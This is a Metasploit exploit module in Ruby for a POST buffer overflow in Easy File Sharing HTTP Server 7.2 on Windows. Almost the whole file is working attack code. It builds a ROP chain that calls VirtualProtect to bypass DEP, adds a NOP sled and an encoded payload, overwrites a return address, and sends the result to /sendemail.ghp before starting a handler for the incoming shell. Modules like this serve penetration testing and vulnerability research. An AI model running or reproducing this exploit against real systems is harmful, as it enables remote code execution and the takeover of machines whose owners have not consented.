1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  # include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
17
        'Description' => %q{
18
          This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
19
        },
20
        'Author' => [
21
          'bl4ck h4ck3r', # POC
22
          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' # Metasploit
23
        ],
24
        'License' => MSF_LICENSE,
25
        'References' => [
26
          [ 'EDB', '42186' ],
27
        ],
28
        'Privileged' => true,
29
        'Payload' => {
30
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
31
        },
32
        'Platform' => 'win',
33
        'Targets' => [
34
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
35
        ],
36
        'DefaultOptions' => {
37
          'RPORT' => 80,
38
          'EXITFUNC' => 'thread',
39
          'ENCODER' => 'x86/alpha_mixed'
40
        },
41
        'DisclosureDate' => '2017-06-12',
42
        'DefaultTarget' => 0,
43
        'Notes' => {
44
          'Reliability' => UNKNOWN_RELIABILITY,
45
          'Stability' => UNKNOWN_STABILITY,
46
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
        }
48
      )
49
    )
50
  end
51

52
  def create_rop_chain
53
    # rop chain generated with mona.py - www.corelan.be
54
    rop_gadgets = [
55
      # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
56
      0x10015442, # POP EAX # RETN [ImageLoad.dll]
57
      0xFFFFFDFE,  # -202
58
      0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
59
      0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
60
      0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
61
      0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
62
      0x10015442,  # POP EAX # RETN [ImageLoad.dll]
63
      0x1004de84,  # &Writable location [ImageLoad.dll]
64
      0x10015442,  # POP EAX # RETN [ImageLoad.dll]
65
      0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
66
      0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
67
      0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
68
      0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
69
      0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
70
      0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
71
      0x61c24169,  # & push esp # ret  [sqlite3.dll]
72
      0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
73
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
74
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
75
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
76
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
77
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
78
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
79
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
80
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
81
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
82
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
83
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
84
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
85
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
86
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
87
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
88
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
89
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
90
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
91
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
92
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
93
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
94
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
95
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
96
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
97
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
98
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
99
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
100
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
101
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
102
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
103
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
104
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
105
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
106
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
107
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
108
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
109
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
110
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
111
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
112
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
113
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
114
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
115
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
116
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
117
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
118
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
119
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
120
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
121
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
122
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
123
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
124
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
125
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
126
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
127
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
128
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
129
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
130
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
131
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
132
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
133
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
134
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
135
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
136
      0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
137
      0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
138
      0x1004de84,  # &Writable location [ImageLoad.dll]
139
      0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
140
      0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
141
      0x10015442,  # POP EAX # RETN [ImageLoad.dll]
142
      0x90909090,  # nop
143
      0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
144
    ].flatten.pack('V*')
145
    return rop_gadgets
146
  end
147

148
  def exploit
149
    sploit = rand_text_alpha_upper(2278)
150
    rop_chain = create_rop_chain
151
    sploit << rop_chain
152
    sploit << "\x90" * 200
153
    sploit << payload.encoded
154
    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
155
    sploit << [target.ret].pack('V')
156

157
    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
158
    connect
159
    sock.put(request)
160
    handler
161
    disconnect
162
  end
163
end
164

165